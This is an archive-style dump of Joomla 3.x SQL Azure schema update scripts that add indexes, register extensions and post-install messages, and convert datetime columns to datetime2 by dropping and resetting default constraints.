com_admin/sql/updates/sqlazure/3.9.21-2020-08-02.sql000060400000000750152455305270015112 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'COM_CPANEL_MSG_HTACCESSSVG_TITLE', 'COM_CPANEL_MSG_HTACCESSSVG_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/htaccesssvg.php', 'admin_postinstall_htaccesssvg_condition', '3.9.21', 1;
com_admin/sql/updates/sqlazure/3.9.0-2018-10-15.sql000060400000001377152455305270015041 0ustar00CREATE NONCLUSTERED INDEX "idx_user_id" ON "#__action_logs"
(
	"user_id" ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX "idx_user_id_logdate" ON "#__action_logs"
(
	"user_id" ASC,
	"log_date" ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX "idx_user_id_extension" ON "#__action_logs"
(
	"user_id" ASC,
	"extension" ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX "idx_extension_itemid" ON "#__action_logs"
(
	"extension" ASC,
	"item_id"
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);
com_admin/sql/updates/sqlazure/3.9.3-2019-01-12.sql000060400000000461152455305270015033 0ustar00UPDATE "#__extensions" 
SET "params" = REPLACE("params", '"com_categories",', '"com_categories","com_checkin",')
WHERE "name" = 'com_actionlogs';

SET IDENTITY_INSERT #__extensions  ON;

INSERT INTO "#__action_logs_extensions" ("extension") VALUES
('com_checkin');

SET IDENTITY_INSERT #__extensions  OFF;com_admin/sql/updates/sqlazure/3.9.0-2018-07-09.sql000060400000001330152455305270015037 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(490, 0, 'plg_privacy_contact', 'plugin', 'contact', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0),
(491, 0, 'plg_privacy_content', 'plugin', 'content', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0),
(492, 0, 'plg_privacy_message', 'plugin', 'message', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.7.0-2017-03-03.sql000060400000002074152455305270015030 0ustar00CREATE PROCEDURE "#removeDefault"
(
	@table NVARCHAR(100),
	@column NVARCHAR(100)
)
AS
BEGIN
	DECLARE @constraintName AS nvarchar(100)
	DECLARE @constraintQuery AS nvarchar(1000)
	SELECT @constraintName = name FROM sys.default_constraints
		WHERE parent_object_id = object_id(@table)
		AND parent_column_id = columnproperty(object_id(@table), @column, 'ColumnId')
	SET @constraintQuery = 'ALTER TABLE [' + @table + '] DROP CONSTRAINT [' + @constraintName + ']'
	EXECUTE sp_executesql @constraintQuery
END;

EXECUTE "#removeDefault" "#__extensions", 'system_data';
EXECUTE "#removeDefault" "#__updates", 'data';

ALTER TABLE "#__content" ADD DEFAULT ('') FOR "xreference";
ALTER TABLE "#__newsfeeds" ADD DEFAULT ('') FOR "xreference";

-- Delete wrong unique index
DROP INDEX "idx_access" ON "#__languages";

-- Add missing unique index
ALTER TABLE "#__languages" ADD CONSTRAINT "#__languages$idx_langcode" UNIQUE ("lang_code") ON [PRIMARY];

-- Add missing index keys
CREATE INDEX "idx_access" ON "#__languages" ("access");
CREATE INDEX "idx_ordering" ON "#__languages" ("ordering");
com_admin/sql/updates/sqlazure/3.7.0-2017-02-16.sql000060400000042540152455305270015035 0ustar00-- Replace datetime to datetime2(0) type for all columns.
DROP INDEX [idx_track_date] ON [#__banner_tracks];
ALTER TABLE [#__banner_tracks] DROP CONSTRAINT [PK_#__banner_tracks_track_date];
ALTER TABLE [#__banner_tracks] ALTER COLUMN [track_date] [datetime2](0) NOT NULL;
ALTER TABLE [#__banner_tracks] ADD CONSTRAINT [PK_#__banner_tracks_track_date_type_id] PRIMARY KEY CLUSTERED
(
	[track_date] ASC,
	[track_type] ASC,
	[banner_id] ASC
) WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY];
CREATE NONCLUSTERED INDEX [idx_track_date2] ON [#__banner_tracks]
(
	[track_date] ASC
) WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE PROCEDURE "#removeDefault"
(
	@table NVARCHAR(100),
	@column NVARCHAR(100)
)
AS
BEGIN
	DECLARE @constraintName AS nvarchar(100)
	DECLARE @constraintQuery AS nvarchar(1000)
	SELECT @constraintName = name FROM sys.default_constraints
		WHERE parent_object_id = object_id(@table)
		AND parent_column_id = columnproperty(object_id(@table), @column, 'ColumnId')
	SET @constraintQuery = 'ALTER TABLE [' + @table + '] DROP CONSTRAINT [' + @constraintName + ']'
	EXECUTE sp_executesql @constraintQuery
END;

EXECUTE "#removeDefault" "#__banner_clients", 'checked_out_time';
ALTER TABLE [#__banner_clients] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__banner_clients] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__banners", 'checked_out_time';
ALTER TABLE [#__banners] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__banners] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__banners", 'publish_up';
ALTER TABLE [#__banners] ALTER COLUMN [publish_up] [datetime2](0) NOT NULL;
ALTER TABLE [#__banners] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_up];

EXECUTE "#removeDefault" "#__banners", 'publish_down';
ALTER TABLE [#__banners] ALTER COLUMN [publish_down] [datetime2](0) NOT NULL;
ALTER TABLE [#__banners] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_down];

EXECUTE "#removeDefault" "#__banners", 'reset';
ALTER TABLE [#__banners] ALTER COLUMN [reset] [datetime2](0) NOT NULL;
ALTER TABLE [#__banners] ADD DEFAULT '1900-01-01 00:00:00' FOR [reset];

EXECUTE "#removeDefault" "#__banners", 'created';
ALTER TABLE [#__banners] ALTER COLUMN [created] [datetime2](0) NOT NULL;
ALTER TABLE [#__banners] ADD DEFAULT '1900-01-01 00:00:00' FOR [created];

EXECUTE "#removeDefault" "#__banners", 'modified';
ALTER TABLE [#__banners] ALTER COLUMN [modified] [datetime2](0) NOT NULL;
ALTER TABLE [#__banners] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified];

DROP INDEX [idx_checked_out_time] ON [#__categories];
EXECUTE "#removeDefault" "#__categories", 'checked_out_time';
ALTER TABLE [#__categories] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__categories] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];
CREATE NONCLUSTERED INDEX [idx_checked_out_time2] ON [#__categories](
	[checked_out_time] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

EXECUTE "#removeDefault" "#__categories", 'created_time';
ALTER TABLE [#__categories] ALTER COLUMN [created_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__categories] ADD DEFAULT '1900-01-01 00:00:00' FOR [created_time];

EXECUTE "#removeDefault" "#__categories", 'modified_time';
ALTER TABLE [#__categories] ALTER COLUMN [modified_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__categories] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified_time];

EXECUTE "#removeDefault" "#__contact_details", 'checked_out_time';
ALTER TABLE [#__contact_details] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__contact_details] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__contact_details", 'created';
ALTER TABLE [#__contact_details] ALTER COLUMN [created] [datetime2](0) NOT NULL;
ALTER TABLE [#__contact_details] ADD DEFAULT '1900-01-01 00:00:00' FOR [created];

EXECUTE "#removeDefault" "#__contact_details", 'modified';
ALTER TABLE [#__contact_details] ALTER COLUMN [modified] [datetime2](0) NOT NULL;
ALTER TABLE [#__contact_details] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified];

EXECUTE "#removeDefault" "#__contact_details", 'publish_up';
ALTER TABLE [#__contact_details] ALTER COLUMN [publish_up] [datetime2](0) NOT NULL;
ALTER TABLE [#__contact_details] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_up];

EXECUTE "#removeDefault" "#__contact_details", 'publish_down';
ALTER TABLE [#__contact_details] ALTER COLUMN [publish_down] [datetime2](0) NOT NULL;
ALTER TABLE [#__contact_details] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_down];

EXECUTE "#removeDefault" "#__content", 'created';
ALTER TABLE [#__content] ALTER COLUMN [created] [datetime2](0) NOT NULL;
ALTER TABLE [#__content] ADD DEFAULT '1900-01-01 00:00:00' FOR [created];

EXECUTE "#removeDefault" "#__content", 'modified';
ALTER TABLE [#__content] ALTER COLUMN [modified] [datetime2](0) NOT NULL;
ALTER TABLE [#__content] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified];

EXECUTE "#removeDefault" "#__content", 'checked_out_time';
ALTER TABLE [#__content] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__content] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__content", 'publish_up';
ALTER TABLE [#__content] ALTER COLUMN [publish_up] [datetime2](0) NOT NULL;
ALTER TABLE [#__content] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_up];

EXECUTE "#removeDefault" "#__content", 'publish_down';
ALTER TABLE [#__content] ALTER COLUMN [publish_down] [datetime2](0) NOT NULL;
ALTER TABLE [#__content] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_down];

DROP INDEX [idx_date_id] ON [#__contentitem_tag_map];
EXECUTE "#removeDefault" "#__contentitem_tag_map", 'tag_date';
ALTER TABLE [#__contentitem_tag_map] ALTER COLUMN [tag_date] [datetime2](0) NOT NULL;
ALTER TABLE [#__contentitem_tag_map] ADD DEFAULT '1900-01-01 00:00:00' FOR [tag_date];
CREATE NONCLUSTERED INDEX [idx_date_id2] ON [#__contentitem_tag_map](
	[tag_date] ASC,
	[tag_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

EXECUTE "#removeDefault" "#__extensions", 'checked_out_time';
ALTER TABLE [#__extensions] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__extensions] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__fields", 'checked_out_time';
ALTER TABLE [#__fields] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__fields] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__fields", 'created_time';
ALTER TABLE [#__fields] ALTER COLUMN [created_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__fields] ADD DEFAULT '1900-01-01 00:00:00' FOR [created_time];

EXECUTE "#removeDefault" "#__fields", 'modified_time';
ALTER TABLE [#__fields] ALTER COLUMN [modified_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__fields] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified_time];

EXECUTE "#removeDefault" "#__fields_groups", 'checked_out_time';
ALTER TABLE [#__fields_groups] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__fields_groups] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__fields_groups", 'created';
ALTER TABLE [#__fields_groups] ALTER COLUMN [created] [datetime2](0) NOT NULL;
ALTER TABLE [#__fields_groups] ADD DEFAULT '1900-01-01 00:00:00' FOR [created];

EXECUTE "#removeDefault" "#__fields_groups", 'modified';
ALTER TABLE [#__fields_groups] ALTER COLUMN [modified] [datetime2](0) NOT NULL;
ALTER TABLE [#__fields_groups] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified];

EXECUTE "#removeDefault" "#__finder_filters", 'created';
ALTER TABLE [#__finder_filters] ALTER COLUMN [created] [datetime2](0) NOT NULL;
ALTER TABLE [#__finder_filters] ADD DEFAULT '1900-01-01 00:00:00' FOR [created];

EXECUTE "#removeDefault" "#__finder_filters", 'modified';
ALTER TABLE [#__finder_filters] ALTER COLUMN [modified] [datetime2](0) NOT NULL;
ALTER TABLE [#__finder_filters] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified];

EXECUTE "#removeDefault" "#__finder_filters", 'checked_out_time';
ALTER TABLE [#__finder_filters] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__finder_filters] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__finder_links", 'indexdate';
ALTER TABLE [#__finder_links] ALTER COLUMN [indexdate] [datetime2](0) NOT NULL;
ALTER TABLE [#__finder_links] ADD DEFAULT '1900-01-01 00:00:00' FOR [indexdate];

EXECUTE "#removeDefault" "#__finder_links", 'publish_start_date';
ALTER TABLE [#__finder_links] ALTER COLUMN [publish_start_date] [datetime2](0) NOT NULL;
ALTER TABLE [#__finder_links] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_start_date];

EXECUTE "#removeDefault" "#__finder_links", 'publish_end_date';
ALTER TABLE [#__finder_links] ALTER COLUMN [publish_end_date] [datetime2](0) NOT NULL;
ALTER TABLE [#__finder_links] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_end_date];

EXECUTE "#removeDefault" "#__finder_links", 'start_date';
ALTER TABLE [#__finder_links] ALTER COLUMN [start_date] [datetime2](0) NOT NULL;
ALTER TABLE [#__finder_links] ADD DEFAULT '1900-01-01 00:00:00' FOR [start_date];

EXECUTE "#removeDefault" "#__finder_links", 'end_date';
ALTER TABLE [#__finder_links] ALTER COLUMN [end_date] [datetime2](0) NOT NULL;
ALTER TABLE [#__finder_links] ADD DEFAULT '1900-01-01 00:00:00' FOR [end_date];

EXECUTE "#removeDefault" "#__menu", 'checked_out_time';
ALTER TABLE [#__menu] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__menu] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__messages", 'date_time';
ALTER TABLE [#__messages] ALTER COLUMN [date_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__messages] ADD DEFAULT '1900-01-01 00:00:00' FOR [date_time];

EXECUTE "#removeDefault" "#__modules", 'checked_out_time';
ALTER TABLE [#__modules] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__modules] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__modules", 'publish_up';
ALTER TABLE [#__modules] ALTER COLUMN [publish_up] [datetime2](0) NOT NULL;
ALTER TABLE [#__modules] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_up];

EXECUTE "#removeDefault" "#__modules", 'publish_down';
ALTER TABLE [#__modules] ALTER COLUMN [publish_down] [datetime2](0) NOT NULL;
ALTER TABLE [#__modules] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_down];

EXECUTE "#removeDefault" "#__newsfeeds", 'checked_out_time';
ALTER TABLE [#__newsfeeds] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__newsfeeds] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__newsfeeds", 'created';
ALTER TABLE [#__newsfeeds] ALTER COLUMN [created] [datetime2](0) NOT NULL;
ALTER TABLE [#__newsfeeds] ADD DEFAULT '1900-01-01 00:00:00' FOR [created];

EXECUTE "#removeDefault" "#__newsfeeds", 'modified';
ALTER TABLE [#__newsfeeds] ALTER COLUMN [modified] [datetime2](0) NOT NULL;
ALTER TABLE [#__newsfeeds] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified];

EXECUTE "#removeDefault" "#__newsfeeds", 'publish_up';
ALTER TABLE [#__newsfeeds] ALTER COLUMN [publish_up] [datetime2](0) NOT NULL;
ALTER TABLE [#__newsfeeds] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_up];

EXECUTE "#removeDefault" "#__newsfeeds", 'publish_down';
ALTER TABLE [#__newsfeeds] ALTER COLUMN [publish_down] [datetime2](0) NOT NULL;
ALTER TABLE [#__newsfeeds] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_down];

EXECUTE "#removeDefault" "#__redirect_links", 'created_date';
ALTER TABLE [#__redirect_links] ALTER COLUMN [created_date] [datetime2](0) NOT NULL;
ALTER TABLE [#__redirect_links] ADD DEFAULT '1900-01-01 00:00:00' FOR [created_date];

DROP INDEX [idx_link_modifed] ON [#__redirect_links];
EXECUTE "#removeDefault" "#__redirect_links", 'modified_date';
ALTER TABLE [#__redirect_links] ALTER COLUMN [modified_date] [datetime2](0) NOT NULL;
ALTER TABLE [#__redirect_links] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified_date];
CREATE NONCLUSTERED INDEX [idx_link_modifed2] ON [#__redirect_links](
	[modified_date] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

EXECUTE "#removeDefault" "#__tags", 'checked_out_time';
ALTER TABLE [#__tags] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__tags] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__tags", 'created_time';
ALTER TABLE [#__tags] ALTER COLUMN [created_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__tags] ADD DEFAULT '1900-01-01 00:00:00' FOR [created_time];

EXECUTE "#removeDefault" "#__tags", 'modified_time';
ALTER TABLE [#__tags] ALTER COLUMN [modified_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__tags] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified_time];

EXECUTE "#removeDefault" "#__tags", 'publish_up';
ALTER TABLE [#__tags] ALTER COLUMN [publish_up] [datetime2](0) NOT NULL;
ALTER TABLE [#__tags] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_up];

EXECUTE "#removeDefault" "#__tags", 'publish_down';
ALTER TABLE [#__tags] ALTER COLUMN [publish_down] [datetime2](0) NOT NULL;
ALTER TABLE [#__tags] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_down];

EXECUTE "#removeDefault" "#__ucm_content", 'core_checked_out_time';
ALTER TABLE [#__ucm_content] ALTER COLUMN [core_checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__ucm_content] ADD DEFAULT '1900-01-01 00:00:00' FOR [core_checked_out_time];

DROP INDEX [idx_created_time] ON [#__ucm_content];
EXECUTE "#removeDefault" "#__ucm_content", 'core_created_time';
ALTER TABLE [#__ucm_content] ALTER COLUMN [core_created_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__ucm_content] ADD DEFAULT '1900-01-01 00:00:00' FOR [core_created_time];
CREATE NONCLUSTERED INDEX [idx_created_time2] ON [#__ucm_content](
	[core_created_time] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

DROP INDEX [idx_modified_time] ON [#__ucm_content];
EXECUTE "#removeDefault" "#__ucm_content", 'core_modified_time';
ALTER TABLE [#__ucm_content] ALTER COLUMN [core_modified_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__ucm_content] ADD DEFAULT '1900-01-01 00:00:00' FOR [core_modified_time];
CREATE NONCLUSTERED INDEX [idx_modified_time2] ON [#__ucm_content](
	[core_modified_time] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

EXECUTE "#removeDefault" "#__ucm_content", 'core_publish_up';
ALTER TABLE [#__ucm_content] ALTER COLUMN [core_publish_up] [datetime2](0) NOT NULL;
ALTER TABLE [#__ucm_content] ADD DEFAULT '1900-01-01 00:00:00' FOR [core_publish_up];

EXECUTE "#removeDefault" "#__ucm_content", 'core_publish_down';
ALTER TABLE [#__ucm_content] ALTER COLUMN [core_publish_down] [datetime2](0) NOT NULL;
ALTER TABLE [#__ucm_content] ADD DEFAULT '1900-01-01 00:00:00' FOR [core_publish_down];

DROP INDEX [idx_save_date] ON [#__ucm_history];
EXECUTE "#removeDefault" "#__ucm_history", 'save_date';
ALTER TABLE [#__ucm_history] ALTER COLUMN [save_date] [datetime2](0) NOT NULL;
ALTER TABLE [#__ucm_history] ADD DEFAULT '1900-01-01 00:00:00' FOR [save_date];
CREATE NONCLUSTERED INDEX [idx_save_date2] ON [#__ucm_history](
	[save_date] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

EXECUTE "#removeDefault" "#__user_notes", 'checked_out_time';
ALTER TABLE [#__user_notes] ALTER COLUMN [checked_out_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__user_notes] ADD DEFAULT '1900-01-01 00:00:00' FOR [checked_out_time];

EXECUTE "#removeDefault" "#__user_notes", 'created_time';
ALTER TABLE [#__user_notes] ALTER COLUMN [created_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__user_notes] ADD DEFAULT '1900-01-01 00:00:00' FOR [created_time];

EXECUTE "#removeDefault" "#__user_notes", 'modified_time';
ALTER TABLE [#__user_notes] ALTER COLUMN [modified_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__user_notes] ADD DEFAULT '1900-01-01 00:00:00' FOR [modified_time];

EXECUTE "#removeDefault" "#__user_notes", 'review_time';
ALTER TABLE [#__user_notes] ALTER COLUMN [review_time] [datetime2](0) NOT NULL;
ALTER TABLE [#__user_notes] ADD DEFAULT '1900-01-01 00:00:00' FOR [review_time];

EXECUTE "#removeDefault" "#__user_notes", 'publish_up';
ALTER TABLE [#__user_notes] ALTER COLUMN [publish_up] [datetime2](0) NOT NULL;
ALTER TABLE [#__user_notes] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_up];

EXECUTE "#removeDefault" "#__user_notes", 'publish_down';
ALTER TABLE [#__user_notes] ALTER COLUMN [publish_down] [datetime2](0) NOT NULL;
ALTER TABLE [#__user_notes] ADD DEFAULT '1900-01-01 00:00:00' FOR [publish_down];

EXECUTE "#removeDefault" "#__users", 'registerDate';
ALTER TABLE [#__users] ALTER COLUMN [registerDate] [datetime2](0) NOT NULL;
ALTER TABLE [#__users] ADD DEFAULT '1900-01-01 00:00:00' FOR [registerDate];

EXECUTE "#removeDefault" "#__users", 'lastvisitDate';
ALTER TABLE [#__users] ALTER COLUMN [lastvisitDate] [datetime2](0) NOT NULL;
ALTER TABLE [#__users] ADD DEFAULT '1900-01-01 00:00:00' FOR [lastvisitDate];

EXECUTE "#removeDefault" "#__users", 'lastResetTime';
ALTER TABLE [#__users] ALTER COLUMN [lastResetTime] [datetime2](0) NOT NULL;
ALTER TABLE [#__users] ADD DEFAULT '1900-01-01 00:00:00' FOR [lastResetTime];

DROP PROCEDURE "#removeDefault";
com_admin/sql/updates/sqlazure/3.5.0-2015-11-04.sql000060400000001051152455305270015016 0ustar00DELETE FROM [#__menu] WHERE [title] = 'com_messages_read' AND [client_id] = 1;

SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 452, 'plg_system_updatenotification', 'plugin', 'updatenotification', 'system', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;
com_admin/sql/updates/sqlazure/3.9.26-2021-04-07.sql000060400000001242152455305270015116 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [version_introduced], [enabled], [condition_file], [condition_method], [action_file], [action])
VALUES
(700, 'COM_ADMIN_POSTINSTALL_MSG_BEHIND_LOAD_BALANCER_TITLE', 'COM_ADMIN_POSTINSTALL_MSG_BEHIND_LOAD_BALANCER_DESCRIPTION', 'COM_ADMIN_POSTINSTALL_MSG_BEHIND_LOAD_BALANCER_ACTION', 'com_admin', 1, 'action', '3.9.26', 1, 'admin://components/com_admin/postinstall/behindproxy.php', 'admin_postinstall_behindproxy_condition', 'admin://components/com_admin/postinstall/behindproxy.php', 'behindproxy_postinstall_action');
com_admin/sql/updates/sqlazure/3.4.0-2015-01-21.sql000060400000000576152455305270015026 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'COM_CPANEL_MSG_ROBOTS_TITLE', 'COM_CPANEL_MSG_ROBOTS_BODY', '', 'com_cpanel', 1, 'message', '', '', '', '', '3.3.0', 1;
com_admin/sql/updates/sqlazure/3.9.7-2019-04-26.sql000060400000000522152455305270015045 0ustar00UPDATE [#__content_types] SET [content_history_options] = REPLACE([content_history_options], '\"ignoreChanges\":[\"modified_by\", \"modified\", \"checked_out\", \"checked_out_time\", \"version\", \"hits\"]', '\"ignoreChanges\":[\"modified_by\", \"modified\", \"checked_out\", \"checked_out_time\", \"version\", \"hits\", \"ordering\"]');
com_admin/sql/updates/sqlazure/3.9.0-2018-07-10.sql000060400000000506152455305270015033 0ustar00SET IDENTITY_INSERT "#__action_log_config" ON;

INSERT INTO "#__action_log_config" ("id", "type_title", "type_alias", "id_holder", "title_holder", "table_name", "text_prefix") VALUES
(19, 'application_config', 'com_config.application', '', 'name', '', 'PLG_ACTIONLOG_JOOMLA');

SET IDENTITY_INSERT "#__action_log_config" OFF;
com_admin/sql/updates/sqlazure/3.9.0-2018-06-02.sql000060400000001530152455305270015031 0ustar00ALTER TABLE "#__content" ADD "note" "nvarchar"(255) NOT NULL DEFAULT '';

UPDATE "#__content_types" SET "field_mappings" =
'{"common":{"core_content_item_id":"id","core_title":"title","core_state":"state","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"introtext", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"attribs", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"asset_id", "note":"note"}, "special":{"fulltext":"fulltext"}}' WHERE "type_alias" = 'com_content.article';
com_admin/sql/updates/sqlazure/3.8.2-2017-10-14.sql000060400000000324152455305270015027 0ustar00--
-- Add index for alias check #__content
--

CREATE NONCLUSTERED INDEX [idx_alias] ON [#__content]
(
	[alias] ASC
)WITH (STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);
com_admin/sql/updates/sqlazure/3.1.5.sql000060400000000072152455305270013774 0ustar00# Placeholder file for database changes for version 3.1.5
com_admin/sql/updates/sqlazure/3.1.2.sql000060400000021415152455305270013775 0ustar00UPDATE [#__content_types] SET [table] = '{"special":{"dbtable":"#__content","key":"id","type":"Content","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE [type_title] = 'Article';
UPDATE [#__content_types] SET [table] = '{"special":{"dbtable":"#__contact_details","key":"id","type":"Contact","prefix":"ContactTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE [type_title] = 'Contact';
UPDATE [#__content_types] SET [table] = '{"special":{"dbtable":"#__newsfeeds","key":"id","type":"Newsfeed","prefix":"NewsfeedsTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE [type_title] = 'Newsfeed';
UPDATE [#__content_types] SET [table] = '{"special":{"dbtable":"#__users","key":"id","type":"User","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE [type_title] = 'User';
